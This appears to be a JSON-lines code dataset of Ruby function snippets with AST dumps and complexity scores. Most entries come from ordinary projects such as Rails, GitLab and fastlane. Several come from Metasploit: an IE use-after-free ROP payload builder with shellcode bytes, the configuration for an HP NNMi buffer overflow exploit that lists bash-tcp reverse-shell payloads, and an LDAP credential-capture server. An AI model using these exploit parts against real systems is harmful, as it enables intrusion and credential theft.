{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fileformat/environment_variable_datablock_leak.rb","start_line":176,"raw_source":"def get_unc_path\n    \"\\\\\\\\#{srvhost}\\\\#{Rex::Text.rand_text_alphanumeric(6)}\"\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"get_unc_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"srvhost\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[6]}]}]}]}]}","id":"048f438e-390d-49cb-ae63-5307956e470f"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/asset_tag_helper_test.rb","start_line":852,"raw_source":"def test_image_tag_loading_attribute_default_value\n    original_image_loading = ActionView::Helpers::AssetTagHelper.image_loading\n    ActionView::Helpers::AssetTagHelper.image_loading = \"lazy\"\n\n    assert_dom_equal %(<img src=\"\" loading=\"lazy\" />), image_tag(\"\")\n    assert_dom_equal %(<img src=\"\" loading=\"eager\" />), image_tag(\"\", loading: \"eager\")\n  ensure\n    ActionView::Helpers::AssetTagHelper.image_loading = original_image_loading\n  end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_image_tag_loading_attribute_default_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"original_image_loading\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Helpers\"]},\"AssetTagHelper\"]},\"image_loading\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Helpers\"]},\"AssetTagHelper\"]},\"image_loading=\",{\"type\":\"str\",\"children\":[\"lazy\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<img src=\\\"\\\" loading=\\\"lazy\\\" />\"]},{\"type\":\"send\",\"children\":[null,\"image_tag\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<img src=\\\"\\\" loading=\\\"eager\\\" />\"]},{\"type\":\"send\",\"children\":[null,\"image_tag\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"loading\"]},{\"type\":\"str\",\"children\":[\"eager\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Helpers\"]},\"AssetTagHelper\"]},\"image_loading=\",{\"type\":\"lvar\",\"children\":[\"original_image_loading\"]}]}]}]}","id":"9e36c67a-386b-4ef0-a0e1-df532b12068b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb","start_line":117,"raw_source":"def get_payload(t, cli)\n    rop_payload = ''\n\n    # Extra junk in the end to make sure post code execution is stable.\n    p = payload.encoded\n\n    case t['Rop']\n    when :msvcrt\n      align = \"\\x81\\xc4\\x54\\xf2\\xff\\xff\" # Stack adjustment # add esp, -3500\n      rop_payload = ''\n      if t.name == 'IE 8 on Windows XP SP3'\n        rop_payload = generate_rop_payload('msvcrt', align + p, { 'target' => 'xp' })\n      elsif t.name == 'IE 8 on Windows Server 2003'\n        rop_payload = generate_rop_payload('msvcrt', align + p, { 'target' => '2003' })\n      end\n\n    else\n      code = \"\\x81\\xEC\\xF0\\xD8\\xFF\\xFF\" # sub esp, -10000\n      code << p\n      code << rand_text_alpha(12000)\n\n      rop_payload = generate_rop_payload('java', code)\n    end\n\n    return rop_payload\n  end","complexity_score":33.9,"ast_json":"{\"type\":\"def\",\"children\":[\"get_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]},{\"type\":\"arg\",\"children\":[\"cli\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rop_payload\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Rop\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"msvcrt\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rop_payload\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"IE 8 on Windows XP SP3\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rop_payload\",{\"type\":\"send\",\"children\":[null,\"generate_rop_payload\",{\"type\":\"str\",\"children\":[\"msvcrt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"align\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"p\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"target\"]},{\"type\":\"str\",\"children\":[\"xp\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"IE 8 on Windows Server 2003\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rop_payload\",{\"type\":\"send\",\"children\":[null,\"generate_rop_payload\",{\"type\":\"str\",\"children\":[\"msvcrt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"align\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"p\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"target\"]},{\"type\":\"str\",\"children\":[\"2003\"]}]}]}]}]},null]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[12000]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rop_payload\",{\"type\":\"send\",\"children\":[null,\"generate_rop_payload\",{\"type\":\"str\",\"children\":[\"java\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rop_payload\"]}]}]}]}","id":"63efdc46-0d14-4824-bc08-9ca2a5941205"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/start_reply.rb","start_line":41,"raw_source":"def generate_client_id\n      context[:client_id] = SecureRandom.hex\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_client_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"client_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\"]}]}]}","id":"e79f5833-735d-4ce3-94a0-a23daaa2617f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/ldap/person.rb","start_line":103,"raw_source":"def config\n          @config ||= Gitlab::Auth::Ldap::Config.new(provider)\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"Ldap\"]},\"Config\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"provider\"]}]}]}]}","id":"7a6b03fc-07ad-4f82-a7fd-00c2bdbca2c0"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/executor_test.rb","start_line":75,"raw_source":"def test_complete_callbacks_are_called_on_exceptions\n    completed = false\n    executor.to_complete { completed = true }\n\n    begin\n      call_and_return_body do\n        raise \"error\"\n      end\n    rescue\n    end\n\n    assert completed\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_complete_callbacks_are_called_on_exceptions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"completed\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"executor\"]},\"to_complete\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"completed\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call_and_return_body\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"error\"]}]}]},{\"type\":\"resbody\",\"children\":[null,null,null]},null]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvar\",\"children\":[\"completed\"]}]}]}]}","id":"2043130c-372c-4834-8f8f-17da72fd39fa"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/snapshot/lib/snapshot/setup.rb","start_line":40,"raw_source":"def self.print_instructions(snapshot_helper_filename: nil)\n      puts(\"Open your Xcode project and make sure to do the following:\".yellow)\n      puts(\"1) Add a new UI Test target to your project\".yellow)\n      puts(\"2) Add the ./fastlane/#{snapshot_helper_filename} to your UI Test target\".yellow)\n      puts(\"   You can move the file anywhere you want\".yellow)\n      puts(\"3) Call `setupSnapshot(app)` when launching your app\".yellow)\n      puts(\"\")\n      puts(\"  let app = XCUIApplication()\")\n      puts(\"  setupSnapshot(app)\")\n      puts(\"  app.launch()\")\n      puts(\"\")\n      puts(\"4) Add `snapshot(\\\"0Launch\\\")` to wherever you want to trigger screenshots\".yellow)\n      puts(\"5) Add a new Xcode scheme for the newly created UITest target\".yellow)\n      puts(\"6) Add a Check to enable the `Shared` box of the newly created scheme\".yellow)\n      puts(\"\")\n      puts(\"More information: https://docs.fastlane.tools/getting-started/ios/screenshots/\".green)\n    end","complexity_score":25.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"print_instructions\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"snapshot_helper_filename\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Open your Xcode project and make sure to do the following:\"]},\"yellow\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"1) Add a new UI Test target to your project\"]},\"yellow\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"2) Add the ./fastlane/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snapshot_helper_filename\"]}]},{\"type\":\"str\",\"children\":[\" to your UI Test target\"]}]},\"yellow\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"   You can move the file anywhere you want\"]},\"yellow\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"3) Call `setupSnapshot(app)` when launching your app\"]},\"yellow\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"  let app = XCUIApplication()\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"  setupSnapshot(app)\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"  app.launch()\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"4) Add `snapshot(\\\"0Launch\\\")` to wherever you want to trigger screenshots\"]},\"yellow\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"5) Add a new Xcode scheme for the newly created UITest target\"]},\"yellow\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"6) Add a Check to enable the `Shared` box of the newly created scheme\"]},\"yellow\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"More information: https://docs.fastlane.tools/getting-started/ios/screenshots/\"]},\"green\"]}]}]}]}","id":"fe1d62f6-f445-49c7-b4c6-a4e480fd982a"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/finders/spree/storefront/variant_finder.rb","start_line":11,"raw_source":"def find\n        try_variant_from_options\n        return [@selected_variant, @variant_from_options] if @selected_variant.present?\n\n        try_any_variant\n        [@selected_variant, @variant_from_options]\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"find\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"try_variant_from_options\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@selected_variant\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@selected_variant\"]},{\"type\":\"ivar\",\"children\":[\"@variant_from_options\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"try_any_variant\"]},{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@selected_variant\"]},{\"type\":\"ivar\",\"children\":[\"@variant_from_options\"]}]}]}]}","id":"ef25256b-3798-4835-b025-fe830dfc6388"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/in_operator_optimization/strategies/record_loader_strategy.rb","start_line":11,"raw_source":"def initialize(finder_query, model, order_by_columns)\n              verify_order_by_attributes_on_model!(model, order_by_columns)\n\n              @finder_query = finder_query\n              @order_by_columns = order_by_columns\n              @table_name = model.table_name\n              @model = model\n            end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"finder_query\"]},{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"order_by_columns\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"verify_order_by_attributes_on_model!\",{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"order_by_columns\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@finder_query\",{\"type\":\"lvar\",\"children\":[\"finder_query\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@order_by_columns\",{\"type\":\"lvar\",\"children\":[\"order_by_columns\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@table_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"table_name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@model\",{\"type\":\"lvar\",\"children\":[\"model\"]}]}]}]}","id":"6e7e4a5f-6c8b-4d70-83d9-39863630d041"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core.rb","start_line":160,"raw_source":"def self.world\n    @world ||= RSpec::Core::World.new\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"world\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@world\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"Core\"]},\"World\"]},\"new\"]}]}]}","id":"551f4156-d23b-43dd-88ec-95721bddd3b2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'HP Network Node Manager I PMD Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The\n          vulnerability exists in the pmd service, due to the insecure usage of functions like\n          strcpy and strcat while handling stack_option packets with user controlled data. In\n          order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from\n          the stack and finally build the ROP chain to avoid NX.\n        },\n        'Author' => [\n          'd(-_-)b', # Vulnerability discovery\n          'juan vazquez' # Metasploit module\n        ],\n        'References' => [\n          ['CVE', '2014-2624'],\n          ['ZDI', '14-305']\n        ],\n        'Payload' => {\n          'BadChars' => \"\\x00\",\n          'Space' => 3000,\n          'DisableNops' => true,\n          'Compat' =>\n              {\n                'PayloadType' => 'cmd cmd_bash',\n                'RequiredCmd' => 'generic python perl openssl bash-tcp gawk'\n              }\n        },\n        'Arch' => ARCH_CMD,\n        'Platform' => 'unix',\n        'Targets' => [\n          ['Automatic', {}],\n          [\n            'HP NNMi 9.10 / CentOS 5',\n            {\n              # ptr to .rodata with format specifier\n              # .rodata:0003BE86 aS_1            db '%s',0\n              'ov_offset' => 0x3BE86,\n              :rop => :rop_hp_nnmi_9_10\n            }\n          ],\n          [\n            'HP NNMi 9.20 / CentOS 6',\n            {\n              # ptr to .rodata with format specifier\n              # .rodata:0003C2D6 aS_1            db '%s',0\n              'ov_offset' => 0x3c2d8,\n              :rop => :rop_hp_nnmi_9_20\n            }\n          ]\n        ],\n        'Privileged' => false, # true for HP NNMi 9.10, false for HP NNMi 9.20\n        'DisclosureDate' => '2014-09-09',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([ Opt::RPORT(7426) ])\n  end","complexity_score":6.45,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"HP Network Node Manager I PMD Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The\\n\"]},{\"type\":\"str\",\"children\":[\"          vulnerability exists in the pmd service, due to the insecure usage of functions like\\n\"]},{\"type\":\"str\",\"children\":[\"          strcpy and strcat while handling stack_option packets with user controlled data. In\\n\"]},{\"type\":\"str\",\"children\":[\"          order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from\\n\"]},{\"type\":\"str\",\"children\":[\"          the stack and finally build the ROP chain to avoid NX.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"d(-_-)b\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-2624\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ZDI\"]},{\"type\":\"str\",\"children\":[\"14-305\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[3000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd cmd_bash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"generic python perl openssl bash-tcp gawk\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"HP NNMi 9.10 / CentOS 5\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ov_offset\"]},{\"type\":\"int\",\"children\":[245382]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rop\"]},{\"type\":\"sym\",\"children\":[\"rop_hp_nnmi_9_10\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"HP NNMi 9.20 / CentOS 6\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ov_offset\"]},{\"type\":\"int\",\"children\":[246488]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rop\"]},{\"type\":\"sym\",\"children\":[\"rop_hp_nnmi_9_20\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-09-09\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[7426]}]}]}]}]}]}","id":"e1a92d60-72c0-4710-a888-b8d3af211027"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/capture/ldap.rb","start_line":9,"raw_source":"def initialize(_info = {})\n    super(\n      'Name' => 'Authentication Capture: LDAP',\n      'Description' => %q{\n        This module mocks an LDAP service to capture authentication\n        information of a client trying to authenticate against an LDAP service\n      },\n      'Author' => 'JustAnda7',\n      'License' => MSF_LICENSE,\n      'Actions' => [\n        [ 'Capture', { 'Description' => 'Run an LDAP capture server' } ]\n      ],\n      'PassiveActions' => [ 'Capture' ],\n      'DefaultAction' => 'Capture',\n      'Notes' => {\n        'Stability' => [],\n        'Reliability' => [],\n        'SideEffects' => []\n      }\n    )\n\n    register_options(\n      [\n        OptAddress.new('SRVHOST', [ true, 'The ip address to listen on.', '0.0.0.0' ]),\n        OptPort.new('SRVPORT', [ true, 'The port to listen on.', '389' ]),\n        OptString.new('CHALLENGE', [ true, 'The 8 byte challenge', Rex::Text.rand_text_alphanumeric(16) ])\n      ]\n    )\n\n    deregister_options('LDIF_FILE')\n\n    register_advanced_options(\n      [\n        OptString.new('Domain', [ false, 'The default domain to use for NTLM authentication', 'DOMAIN']),\n        OptString.new('Server', [ false, 'The default server to use for NTLM authentication', 'SERVER']),\n        OptString.new('DnsName', [ false, 'The default DNS server name to use for NTLM authentication', 'SERVER']),\n        OptString.new('DnsDomain', [ false, 'The default DNS domain name to use for NTLM authentication', 'example.com']),\n        OptPath.new('LDIF_FILE', [ false, 'Directory LDIF file path'])\n      ]\n    )\n  end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Authentication Capture: LDAP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        This module mocks an LDAP service to capture authentication\\n\"]},{\"type\":\"str\",\"children\":[\"        information of a client trying to authenticate against an LDAP service\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"JustAnda7\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Actions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Capture\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Run an LDAP capture 